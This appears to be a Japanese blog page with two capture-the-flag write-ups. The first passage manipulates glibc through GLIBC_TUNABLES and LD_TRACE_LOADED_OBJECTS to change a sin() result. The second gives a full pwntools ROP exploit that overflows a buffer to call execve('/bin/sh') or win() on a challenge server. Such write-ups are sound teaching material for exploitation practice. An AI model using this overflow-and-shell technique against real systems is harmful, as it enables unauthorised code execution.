/usr/lib64/ld-linux-x86-64.so.2 -> ../lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

# ls -l /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 | cut -d\  -f9- 
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

# readlink -e $(which ld.so)
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

複数段のシンボリックリンクになっているようですが、今回調べているものに一致していそうなのでこれを読んでみましょう。 一般に、man には ENVIRONMENTFILES といった章があり、関連する環境変数やファイルについての一覧が載っています。 rev 御用達の環境変数 LD_PRELOAD についてもここに載っていますね。

なのですが、今回使えそうな環境変数は載っていないように見えます。
↑↑ ここ大見逃しでした。よく見るべきです。 ↑↑

関連がありそうな話題として glibc Hardware capabilities というものが載っています。ld.so も glibc に含まれるものなので、glibc のマニュアルを見てみましょう。

Tunables are a feature in the GNU C Library that allows application authors and distribution maintainers to alter the runtime library behavior to match their workload. These are implemented as a set of switches that may be modified in different ways. The current default method to do this is via the GLIBC_TUNABLES environment variable by setting it to a string of colon-separated name=value pairs.

The glibc.cpu.hwcaps=-xxx,yyy,-zzz... tunable allows the user to enable CPU/ARCH feature yyy, disable CPU/ARCH feature xxx and zzz where the feature name is case-sensitive and has to match the ones in sysdeps/x86/include/cpu-features.h.

これぞまさにといった感じがします。sysdeps/x86/include/cpu-features.h のどの部分にマッチすればいいのかが若干不明瞭ではありますが、先ほど CPU_FEATURE_USABLE_P (cpu_features, FMA) と書かれていたので、たぶん FMA と書けばよさそうな気がします。

ということでこれを与えて実行します。

% nc localhost 1337
env key: GLIBC_TUNABLES
env value: glibc.cpu.hwcaps=-FMA
Wow, we got 0.2512157895691233!
Alpaca{FMA_is_eSSEntial_2_the_expected_behAVXior}

これにより計算結果が変わります。👏 flag は FMA, SSE2, AVX との掛詞でした。FMA を使う場合と使わない場合とで丸めを行うタイミングが変わるため、計算結果にも影響が出てきます。

補足

x/i 'sin@got.plt' したときにデバッグシンボルがないとこんな感じになってしまうかもしれません。

(gdb) si
0x0000555555555074 in sin@plt ()
(gdb) 
0x00007ffff7f4c2d0 in ?? () from /lib/x86_64-linux-gnu/libm.so.6
(gdb) x/10i $rip
=> 0x7ffff7f4c2d0:   endbr64
   0x7ffff7f4c2d4:  push   %rbp
   0x7ffff7f4c2d5:  mov    %rsp,%rbp
   0x7ffff7f4c2d8:  push   %rbx
   0x7ffff7f4c2d9:  sub    $0x38,%rsp
   0x7ffff7f4c2dd:  mov    %fs:0x28,%rax
   0x7ffff7f4c2e6:  mov    %rax,-0x18(%rbp)
   0x7ffff7f4c2ea:  xor    %eax,%eax
   0x7ffff7f4c2ec:  vstmxcsr -0x28(%rbp)
   0x7ffff7f4c2f1:  mov    -0x28(%rbp),%edx

基本的には勝手に入っていてくれる気がしますが、libc のバージョンを上げ下げした場合などにはついてこないかもしれません? 私は、glibc のバージョンを固定したいときは次のようなスクリプトで該当のパッケージを入れています。

fetch-libc.py

import requests
from bs4 import BeautifulSoup

series, target, version = "noble", "amd64", "2.39-0ubuntu8.1"
# series, target, version = "jammy", "amd64", "2.35-0ubuntu3.8"
# series, target, version = "focal", "amd64", "2.31-0ubuntu9.9"


def get_url_and_name(series, target, package, version):
    url = f"https://launchpad.net/ubuntu/{series}/{target}/{package}/{version}"
    html = BeautifulSoup(requests.get(url).text, features="lxml")
    a = html.select_one("#files").select_one("a.sprite")
    return (a.attrs["href"], a.text)


libc_dev_bin = get_url_and_name(series, target, "libc-dev-bin", version)
libc6 = get_url_and_name(series, target, "libc6", version)
libc6_dev = get_url_and_name(series, target, "libc6-dev", version)
libc6_dbg = get_url_and_name(series, target, "libc6-dbg", version)

cmd = rf"""
RUN apt-get remove -y libc6-dev libc6-dbg

RUN apt-get -y install curl && \
    curl -O {libc_dev_bin[0]} && \
    curl -O {libc6[0]} && \
    curl -O {libc6_dev[0]} && \
    curl -O {libc6_dbg[0]}

RUN dpkg -i {libc_dev_bin[1]} && \
    dpkg -i {libc6[1]} && \
    dpkg -i {libc6_dev[1]} && \
    dpkg -i {libc6_dbg[1]}
"""
print(cmd)

今回の問題は glibc のバージョンにはそこまで神経質にならなくても大丈夫であった想定ですが、バージョンが重要になってくる問題もしばしばあるため、固定できるようにしておくと便利かもしれません。 バージョンを気にせずやっていると、apt-get update やら apt-get install gdb やらをした拍子に glibc のバージョンが上がり、そのせいでサーバと glibc のバージョンがずれてうまくいかなくなるなど、そういう不幸がしばしば起きます。

あとがき

浮動小数点型あるあるとして、「== で比較してはいけない」とか「差の絶対値が適当な閾値以下になるかで判定すべき」とかいう主張がしばしばなされますが、えびちゃんとしてはそういう主張は正しくないと思っています。それについてはこの問題の範囲を逸れるのでここでは触れないですが、安易にそうした方法を取ってしまう人には考え直してほしいです。過去に書いた記事を読んでくださるとよいかもしれません。

さて、CTF に関してですが下記の概念については調べておくとよいかもしれません。pwn でもよく話題になってきます。

  • PLT (procedure linkage table)
  • GOT (global offset table)
  • RELRO (relocation read-only)
  • ASLR (address space layout randomization)

特に relocation やシンボルの名前解決まわりに関しては今回の write-up できちんと説明しきれなかった(write-up を書くまでにちゃんと理解できなかった)ので、また今度書こうかなと思っています。

今回は GLIBC_TUNABLES を使いましたが、たとえば「別の定義の sin() が載っている shared object がたまたま存在していて、それを LD_PRELOAD で読み込ませる」といった解法も考えられそうな気がします。試した限りではそうしたファイルは存在しなさそうに見えましたが、そういう別解もたまたま見つけられたら面白いかなと思いました。

問題名に関しては、罪の方の sin を含むフレーズを適当に探してそれと掛けたものでした。罪と罰の罪は crime の方なんですね。

そもそもの題材が題材なので、環境差異をどう処理するかで何度かリテイクが入りました。たとえば macOS で colima start --arch aarch64 の環境で実行すると CPU_FEATURE_USABLE_P (cpu_features, FMA) が false になるため、適当な値を入れるだけでフラグが出てきてしまっていました。 colima start --arch x86_64 の環境とそれぞれ cat /proc/cpuinfo | grep -E 'flags|Features' | uniqld.so --list-diagnostics の出力を見比べて「そっか〜」となりました。cpuinfo を提供するとか「こういう環境だとうまくいかないからこうしてね」という旨のテキストを配布ファイルに含めるとかを当初は想定していたのですが、結局サーバでも qemu-x86_64 -cpu Skylake-Client-v3,-xsavec を用いて実行する方針になりました。いろいろと minaminao さんにお世話になりました(し、たぶん今後もなる気がします)。ありがとうございます。

2/20 もえびちゃんの問題が出る予定なので、そちらもよろしくおねがいします。

別解について

ここから懺悔パートです。

日が変わる前あたりに下記のような問題について考えていました。

import os
import subprocess

key, value = input("env key: "), input("env value: ")
os.environ[key] = value
if subprocess.run(["false"]).returncode == 0:
    print("Alpaca{Fundamental Ability Lost: Successful Exit}")

これに対する解法が書けてやったやったと思っていたところ、同様の解法で今日の問題が解けてしまうことに気づきました。気づいた時点では 2/17 0:02 でした。ううむ。

server.py で判定するのではなく、chall.c 側で次のようにするべきだったろうと思います。

if (sin_x == EXPECTED) {
    puts("failed");
} else {
    puts(FLAG);
}

環境変数を与えて返り値で判定する問題を見たときは気をつけましょう(1 敗)。

こちらの問題に対する入力は次の通りです。

ネタバレ

LD_TRACE_LOADED_OBJECTS=t

write-up を書いたときに ld.so(8) をよく読んでいれば間に合っただろうなぁという気持ちでいっぱいです。悔し〜〜〜。 そんなこんなで今日は悔しみながら過ごしました。それもまたよい経験ですね。学びはありました。

おわり

おわり

*1:これは author として知った情報ではなく、過去の pwn で address leak をした際の挙動から推測したものです。

*2:下記で記した有限小数に完全に一致しているという意味です。

*3:デバッグシンボルの情報が入っていないとここは表示されないかもしれず、そういった場合は進めるのが厳しいかもしれません。入れ方については後述することにします。

Writeup for simple ROP, Daily AlpacaHack 2026/2/14

Daily AlpacaHack 2026/2/14 の write-up です。

alpacahack.com

やったこと

まず言い訳として、当時めちゃくちゃ頭が回っておりませんでした。

win(0xdeadbeefcafebabe, 0x1122334455667788, 0xabcdabcdabcdabcd) を呼び出すにあたって、pop %rdi; ret などの gadget はあるけど push $0xdeadbeefcafebabe みたいなのができなくない?(??)みたいな気持ちになっていました。 そもそもスタックをぐちゃぐちゃにできる前提があるから ROP ができるわけなんですよね。

というところでいろいろ考えて、「char command[] = "/bin/sh";execve(command, NULL, NULL); があるんだからそれを直接呼び出せばよくない?」という気持ちになりました。このあたりで "/bin/sh" の入っているアドレスをスタックに入れられるのと同様の方法で 0xdeadbeefcafebabe とかもスタックに書き込めるじゃんというのは気づきましたが、別にこの方針でも解けるのでこうしましょうという感じになりました。

exploit.py

from pwn import *


def nc(nc_comm):
    nc_argv0, host, port = nc_comm.split()
    return remote(host, int(port))


elf = ELF("chal")
rop = ROP(elf)

p = nc("nc 34.170.146.252 31441")

p.recvuntil(b"address of win function: ")
win_addr = int(p.recvline().decode(), 16)
elf_offset = win_addr - elf.symbols["win"]

payload = flat(
    b"a" * 0x48,
    p64(elf_offset + rop.rdi.address),
    p64(elf_offset + next(elf.search(b"/bin/sh"))),
    p64(elf_offset + rop.rsi.address),
    p64(0x0),
    p64(elf_offset + rop.rdx.address),
    p64(0x0),
    p64(elf_offset + elf.symbols["plt.execve"]),
)
p.sendlineafter(b"input > ", payload)

p.interactive()

下記でいいですねということで、一応そちらも投げました。

payload = flat(
    b"a" * 0x48,
    p64(elf_offset + rop.rdi.address),
    p64(0xDEADBEEFCAFEBABE),
    p64(elf_offset + rop.rsi.address),
    p64(0x1122334455667788),
    p64(elf_offset + rop.rdx.address),
    p64(0xABCDABCDABCDABCD),
    p64(win_addr),
)



以上の内容はhttps://rsk0315.hatenablog.com/より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14